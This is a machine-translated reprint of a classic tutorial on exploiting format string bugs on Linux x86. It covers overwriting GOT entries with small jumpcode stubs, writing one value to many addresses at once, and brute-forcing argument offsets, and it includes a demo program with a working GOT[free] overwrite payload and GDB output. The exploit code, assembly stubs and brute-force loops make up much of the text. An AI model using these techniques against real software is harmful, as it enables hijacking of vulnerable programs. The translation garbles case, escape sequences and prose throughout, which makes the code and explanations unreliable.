Advanced Format String Exploit technology P59-0x07 (I)
Created:
Article attributes: Reprinted
Article submitted: xundi (xundi_at_xfocus.org)
Advanced Format String Exploit technology P59-0x07 (I)
Original article: <advances in format string exploiting>
By Gera <gera@corest.com>, Riq <riq@corest.com>
Translated
Alert7 <alert7@xfocus.org>
Home: http://www.xfocus.org/http://www.whitecell.org/
Yikaikai <yikaikai@sina.com>
Part 1: brute-force cracking of formatted strings
Part 2: Using Heap strings)
| = --------------- = [Part 1: brute force cracking formatting string] = --------------- = |
| = ---------------------- = [Gera <gera@corest.com>] = --------------------- = |
1-Introduction
2-32*32 = 32-use Jump code (jumpcodes)
2.1-write code wherever it is known
2.2-code elsewhere
2.3-no available address
3-N times faster
3.1-Multi-address Overwrite
3.2-brute-force multi-parameter cracking
4-more greets and thanks
5-References
Preface:
This article was originally translated by whitecell Forum (http://www.whitecell.org/forums/) yikaikai, but unfortunately now
If he has no time, I will translate it. However, I still want to thank yikaikai for its previous translation.
This article describes how to crack format sting. The content discussed in this article is similar to Syslog Format String
The format string bug cannot be used to obtain feedback information. Feedback can be obtained using the format string bug
Information, we can learn the information. This makes exploit smarter. See pappy@miscmag.com for details
Write, I translated This article is just about idea. You can write the specific implementation on your own. The translation is a little hasty. Please make an axe to the wrong part.
-- [1. Introduction
Maybe you are looking for an article about format strings exploit. You can first read a wonderful article about scut.
Format strings.
This article is about two tips for accelerating brute-force cracking of format stings when using exploit.
"... Brute-force cracking is certainly not a happy thing. Many Authors of exploit hate things that people try to find.
Use other methods instead of brute-force cracking"
Thanks to all those inspired in this regard, especially {Maxx, Dvorak, scrippie}, scut [], lg (ZIP) and lorian + K.
-- [2. 32*32 = 32-use Jump code
A format strings bug allows you to write data to any place. The author calls it write-anything-anywhere.
Permission. When you have the write-anything-anywhere permission, some methods are described here, such as using Format String
Bug rewriting strcpy () function objective pointer, free () function parameter variable and overflow ret2memcpy buffer (inverted, what does this mean ?) And so on.
Scut [1], shock [2], and others explain several methods when the write-anything-anywhere permission is granted.
To hook the execution process of the program. For example, modify got, modify the function pointer, modify the atexit structure, and virtual function pointer of the class. When you
To do this, you must know or predict two different addresses: The function pointer address and the shellcode address. If you
You need to guess 64-bit for blind brute-force cracking. In fact, it cannot be used so much. The got address always starts at 0x0804. You
The Code always starts at 0x0805... this is true for Linux, so it is not 64-bit, but 32-bit. So you only need to guess
4,294,967,296 times... you may have come up with a solution to provide 4 K NOPs. In this way, you can jump 4 K each time, so that it is reduced
1,048,576 times. In addition, the size of each element in the got array is 4 bytes, and the size of each element is 262,144.
262,144 it's too big to talk remotely (it may be nice to say something locally ).
Sometimes we can use other technologies. If we have the read permission, we can read something to learn from the target process,
You can also change the write permission to the read permission, or use a large number of NOPs commands, or use the target stack, or just hard-coded address values.
And so on.
You can also do more, because you are not limited to write only 4 bytes, you can write your shellcode to any
Address.
In fact, anyone familiar with the format strings bug will think of this-write shellcode to any address.
(If there is a class trial code
For (;;)
Printf (BUF );
)
I have also written an article about this article <bypassing libsafe protection -- overwriting _ dl_lookup_versioned_symbol technology>,
It also shows a new technology-covering _ dl_lookup_versioned_symbol technology. From then on, get control of the program under control
There are more methods.
The following methods are summarized:
1. Overwrite got
2. Use dtors
3. Use C library hooks
4. Use the atexit structure (only the static version can be compiled)
5. override function pointer
6. Override jmpbuf's
7. Overwrite dl_lookup_versioned_symbol
In fact, the coverage of dl_lookup_versioned_symbol also covers the got technology, but it is the got of LD.
---- [2.1 write code anywhere known
If the format string bug exists, you can write everything to different places in the memory, so you can choose
A known writable address. For example, 0x8051234, we can write the code in this place, and then modify the function pointer (got, atexit
Structure and so on) Let them point to it:
Got [read]: 0x8051234; of course using read is just
; An example
0x8051234: Shellcode
Currently, the shellcode address is specified and always 0x8051234. Therefore, you only need to modify the shellcode
Function pointer address. In the worst case, you will crack these 15 characters. This amount is also very large.
You may not be able to write a 200-byte shellcode when using format string (Can you ?),
Maybe you can only write a 30-byte shellcode, or you can only write several bytes... so we need
Jump code (jumpcode ).
---- [2.2 code from other places
I believe that you can put some code in any address memory of the target process. If this is the case, we need
A piece of Jump code (jmpcode) to locate shellcode and jump there. It is relatively simple to do this. It only requires a small amount of technology.
If shellcode is somewhere in the stack, you probably know that shellcode is off when you jump to code execution.
If SP is far away, you can jump to SP + 8 or + 5 bytes:
Got [read]: 0x8051234
0x8051234: add $0x200, % ESP; Delta from SP to code
JMP * % ESP; just use ESP if you can
ESP + 0x200: NOPs...; just in case Delta is
; Not really constant
Real shellcode; this is not writen using
; The Format String
What if the shellcode is in heap? Do you have any good ideas? The following ideas come from Kato:
(This version is 18 bytes, and Kato's version is longer. It does not use format string ):
Got [read]: 0x8051234
0x8051234: ClD
MoV $ 0x4f54414a, % eax; so it doesn find
INC % eax; itself (TX Juliano)
MoV $0x804fff0, % EDI; is it low enough?
; Make it lower
Repne scasl
Jcxz.-2; keep searching!
JMP * $ EDI; upper case letters
; Are OK Opcodes.
Somewhere
In heap: Kato; if you know the alignment
Kkato; one is enough, otherwise
Kkato; make some be found
Kkato
Real shellcode
If you do not know exactly where it is in the stack? (10 bytes)
Got [read]: 0x8051234
0x8051234: mov $ 0x4f54414a, % EBX; so it doesn find
INC % EBX; itself (TX Juliano)
Pop % eax // pop the read Parameter
CMP % EBX, % eax
Jnz.-2
JMP * $ ESP
Somewhere
In stack: Kato; you'll know the alignment
Real shellcode
Where else? Okay. You can construct your jmpcode by yourself. But be careful. 'kato' may not be
A well-constructed string, because its execution may bring some side effects.
-- | Friendly function | --
When you modify got and point it to your function, you can do something. For example, if you change the function pointer,
The parameter of the free () function points to the shellcode buffer, so we only need to do this: (2 bytes)
Got [Free]: 0x8051234; using free this time
0x8051234: Pop % eax; discarding real RET ADDR
RET; jump to free's argument
There are also read () and Syslog functions and some other functions... the difference is that you may need some jump code that is a little complicated:
(7 or 10 bytes)
Got [syslog]: 0x8051234; using Syslog
0x8051234: Pop % eax; discarding real RET ADDR
Pop % eax
Add $0x50, % eax; skip some non-Code bytes
JMP * $ eax
If no other method works, but you can distinguish between crash and Hung, you can use an infinite loop to make
Target Host suspension (Hung): You can brute force crack the got address until the server is suspended, and then you will know the correct location of got,
Then we can brute force crack the shellcode address.
Got [exit]: 0x8051234
0x8051234: JMP.; infinite loop
---- [2.3 no available address
The author does not like to use any address, such as 0x8051234. He uses a slightly different method.
Got [Free]: & got [Free] + 4; point it to the next 4 bytes
Jumpcode; address is got [Free] + 4
You do not know the got [exit] address, but we assume we already know it during brute force cracking and then point it to the next four bytes.
Place jumpcode there. For example, assume that got [exit] is at 0x80490994, then your jump code is 0x8049098,
Then you must write the value 0x8049098 to the address 0x8049094. In this way, when exit () is run, it will jump
0x8049098:
/* Fstring. C *
* Demo program to show format strings techinques *
* Specially crafted to feed your brain by gera@corest.com */
Int main (){
Char Buf [1000];
Strcpy (BUF,
"/X88/x96/x04/x08" // got [Free]'s address, which is the address on my host.
"/X8a/x96/x04/x08 "//
"/X8c/x96/x04/x08" // jumpcode address (2 byte for the demo)
"%. 000028u" // complete to 0x968c (0x968c-3*4)
"% 4 $ HN" // write 0x968a to 0x8049688
"%. 29048u" // complete to 0x10804 (0x10804-0x968c)
"% 5 $ HN" // write 0x0804 to 0x804968a
"%. 47956u" // complete to 0x1c358 (0x1c358-0x10804)
"% 6 $ HN" // write 0xc35b (POP-RET) to 0x804968c
);
Printf (BUF );
Free (BUF); // alert7 add
}
[Alert7 @ redhat73 alert7] $ gcc-O fstring. c
[Alert7 @ redhat73 alert7] $ GDB fstring-Q
(GDB) Br main
Breakpoint 1 at 0x8048479
(GDB) r
Starting program:/home/alert7/fstring
Breakpoint 1, 0x08048479 in main ()
(GDB) disass main
Dump of worker er code for function main:
0x8048470 <main>: Push % EBP
0x8048471 <main + 1>: mov % ESP, % EBP
0x8048473 <main + 3>: Sub $0x3f8, % ESP
0x8048479 <main + 9>: Sub $0x8, % ESP
0x804847c <main + 12>: Push $0x8048540
0x8048481 <main + 17>: Lea 0xfffffc08 (% EBP), % eax
0x8048487 <main + 23>: Push % eax
0x8048488 <main + 24>: Call 0x8048358 <strcpy>
0x804848d <main + 29>: add $0x10, % ESP
0x8048490 <main + 32>: Sub $ 0xc, % ESP
0x8048493 <main + 35>: Lea 0xfffffc08 (% EBP), % eax
0x8048499 <main + 41>: Push % eax
0x804849a <main + 42>: Call 0x8048338 <printf>
0x804849f <main + 47>: add $0x10, % ESP
0x80484a2 <main + 50>: Sub $ 0xc, % ESP
0x80484a5 <main + 53>: Lea 0xfffffc08 (% EBP), % eax
0x80484ab <main + 59>: Push % eax
0x80484ac <main + 60>: Call 0x8048348 <free>
0x80484b1 <main + 65>: add $0x10, % ESP
(GDB) B * 0x80484ac
Breakpoint 2 at 0x80484ac
(GDB) c
...
00000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000
Breakpoint 2, 0x080484ac in main ()
(GDB) x/x 0x8049688.
0x8049688 <_ global_offset_table _ + 28>: 0x0804968c
(GDB) x/2I 0x0804968c
0x804968c <_ global_offset_table _ + 32>: Pop % eax
0x804968d <_ global_offset_table _ + 33>: Ret
(GDB) c
Continuing.
Program received signal SIGSEGV, segmentation fault.
0xbffff720 in ?? ()
OK. You have jumped to the Buf for execution.
At the beginning, the author did not add free (BUF), so no free function is used in the program. The free function will not appear in got.
In this example, the got [Free] address is 0x8049688. We use the format string bug to set got [Free]
The value is changed to 0x0804968c. The next time free () is called, it will be transferred to 0x0804968c for execution.
The last method has another benefit. It can be used not only for format string-each time a different address is written,
It can also be used when you have the write-anything-anywhere permission. Just like the target pointer that overrides the strcpy () function
Or a buffer overflow of ret2memcpy. If you are smart and lucky enough, you can apply this technology on your own.
For a single free () Bug (free (BUF), the chunk of the Buf can be controlled by users ).
-- [3. n times faster
---- [3.1-Multi-address Overwrite
If you can write more than four bytes, you can not only put the shellcode or jumpcode
And can change multiple pointers at the same time to speed up cracking again.
Of course, this requires the write-anything-anywhere permission, which allows us to write more than 4 bytes at a time. The following are
To write the same value to all pointers.
Suppose we use the following formatted string to write 0x12345678 to the address 0x08049094:
"/X94/x90/x04/x08" // the address to write the first 2 bytes
"Aaaa" // space for 2nd %. u
"/X96/x90/x04/x08" // the address for the next 2 bytes
"% 08x % 08x % 08x % 08x % 08x % 08x" // pop 6 arguments
"%. 22076u" // complete to 0x5678 (0x5678-4-4-4-6*8)
"% HN" // write 0x5678 to 0x8049094
"%. 48060u" // complete to 0x11234 (0x000034-0x5678)
"% HN" // write 0x1234 to 0x8049096
Because % HN does not add characters to output string, we can use the same value without using padding.
Write several different places. For example, the value 0x12345678 is written to the format string starting with the address 0x8049094.
Five consecutive addresses:
"/X94/x90/x04/x08" // addresses where to write 0x5678
"/X98/x90/x04/x08 "//
"/X9c/x90/x04/x08 "//
"/Xa0/x90/x04/x08 "//
"/Xa4/x90/x04/x08 "//
"Aaaa" // space for 2nd %. u
"/X96/x90/x04/x08" // addresses for 0x1234
"/X9a/x90/x04/x08 "//
"/X9e/x90/x04/x08 "//
"/Xa2/x90/x04/x08 "//
"/XA6/x90/x04/x08 "//
"% 08x % 08x % 08x % 08x % 08x % 08x" // pop 6 arguments
"%. 22044u" // complete to 0x5678: 0x5678-(5 + 1 + 5) * 4-6*8
"% HN" // write 0x5678 to 0x8049094
"% HN" // write 0x5678 to 0x8049098
"% HN" // write 0x5678 to 0x804909c
"% HN" // write 0x5678 to 0x80490a0
"% HN" // write 0x5678 to 0x80490a4
"%. 48060u" // complete to 0x11234 (0x000034-0x5678)
"% HN" // write 0x1234 to 0x8049096
"% HN" // write 0x1234 to 0x804909a
"% HN" // write 0x1234 to 0x804909e
"% HN" // write 0x1234 to 0x80490a2
"% HN" // write 0x1234 to 0x80490a6
Or equivalent to $.
"/X94/x90/x04/x08" // addresses where to write 0x5678
"/X98/x90/x04/x08 "//
"/X9c/x90/x04/x08 "//
"/Xa0/x90/x04/x08 "//
"/Xa4/x90/x04/x08 "//
"/X96/x90/x04/x08" // addresses for 0x1234
"/X9a/x90/x04/x08 "//
"/X9e/x90/x04/x08 "//
"/Xa2/x90/x04/x08 "//
"/XA6/x90/x04/x08 "//
"%. 22096u" // complete to 0x5678 (0x5678-5*4-5*4)
"% 8 $ HN" // write 0x5678 to 0x8049094
"% 9 $ HN" // write 0x5678 to 0x8049098
"% 10 $ HN" // write 0x5678 to 0x804909c
"% 11 $ HN" // write 0x5678 to 0x80490a0
"% 12 $ HN" // write 0x5678 to 0x80490a4
"%. 48060u" // complete to 0x11234 (0x000034-0x5678)
"% 13 $ HN" // write 0x1234 to 0x8049096
"% 14 $ HN" // write 0x1234 to 0x804909a
"% 15 $ HN" // write 0x1234 to 0x804909e
"% 16 $ HN" // write 0x1234 to 0x80490a2
"% 17 $ HN" // write 0x1234 to 0x80490a6
In this example, five "function pointers" are rewritten at a time. Of course, more can be rewritten. The real limit is how long the string can be provided,
If you do not directly use a parameter (that is, if you do not use $ HN), you need to determine the number of POP parameters to get the address to be written.
Generally, there is a limit to directly use parameter access (the Solaris's database is 30, some linuxes is 400, and there may be other values ).
If you want to combine jumpcode and multi-address overwrite technology, you must remember that the jump code is not
The four bytes behind the function pointer goes further, depending on the number of addresses you want to overwrite at a time.
---- [3.2-multi-parameter brute force cracking
Sometimes you don't know how many pop parameters are needed, or when you use $ HN, you don't know how many parameters need to be jumped directly, so you need to try
Get the correct value. Sometimes we do not have a better method, especially when the format string bug is not cracked blindly and violently.
However, in any case, you may encounter a situation where you do not know how many pop parameters are required. We can use the following example to find it.
Pops = 8
Worked = 0
While (not worked ):
Fstring = "/x94/x90/x04/x08" # Got [Free]'s address
Fstring + = "/x96/x90/x04/x08 "#
Fstring + = "/x98/x90/x04/x08" # jumpcode address
Fstring + = "%. 37004u" # complete to 0x9098
Fstring + = "% d $ HN" % pops # Write 0x9098 to 0x8049094
Fstring + = "%. 30572u" # complete to 0x10804
Fstring + = "% d $ HN" % (POPs + 1) # Write 0x0804 to 0x8049096
Fstring + = "%. 47956u" # complete to 0x1c358
Fstring + = "% d $ HN" % (POPs + 2) # Write (POP-RET) to 0x8049098
Worked = try_with (fstring)
Pops + = 1
In this example, we use the incremental variable 'pops' to find the appropriate value (using direct parameter access ). If we repeat multiple times
With the target address, we can make the POPs variable grow faster. For example, we can repeat each address five times so that we can
This accelerates brute-force cracking.
Pops = 8
Worked = 0
While (not worked ):
Fstring = "/x94/x90/x04/x08" * 5 # Got [Free]'s address
Fstring + = "/x96/x90/x04/x08" * 5 # repeat eddress 5 times
Fstring + = "/x98/x90/x04/x08" * 5 # jumpcode address
Fstring + = "%. 37004u" # complete to 0x9098
Fstring + = "% d $ HN" % pops # Write 0x9098 to 0x8049094
Fstring + = "%. 30572u" # complete to 0x10804
Fstring + = "% d $ HN" % (POPs + 6) # Write 0x0804 to 0x8049096
Fstring + = "%. 47956u" # complete to 0x1c358
Fstring + = "% d $ HN" % (POPs + 11) # Write (POP-RET) to 0x8049098
Worked = try_with (fstring)
Pops + = 5
Find any of the five random copies. The more copies, the faster the copy speed.
This is a simple idea. It just overwrites the address. If you have any questions, you can use a pen or paper to draw a picture,
First draw a stack with a format string, place some random parameters on the top of the stack, and then start brute force cracking manually...
It looks silly, but maybe one day it will help you, and you will never know. Of course, no direct parameter access
You can also do the same. But it is complicated, because every time you have to re-calculate the length of %. U.
-- [Untitled and unlisted parts
In this article, my opinion is: the ratio of format string to 4-bytes-Write-anything-anywhere
With many permissions, you can write any number of bytes to any address (that is, you have full write-anything-anywhre permission ),
This gives us more possibilities.
Well, the article will be written here, and the rest will be done by you.
-- [4. More greets and thanks
Riq, for trying every stupid idea I have and making it real!
Juliano, for being our format strings guru.
Impact, for forcing me to spend time thinking about all theese amazing
Things.
-- [5. References
[1] exploiting format string vulnerability, scut's.
March 2001. http://www.team-teso.net/articles/formatstring
[2] w00w00 on heap overflows, Matt Conover (Shok) and w00w00 security team.
January 1999. http://www.w00w00.org/articles.html
[3] Juliano's badc0ded
Http://community.corest.com /~ Juliano
[4] Google the oracle.
Http://www.google.com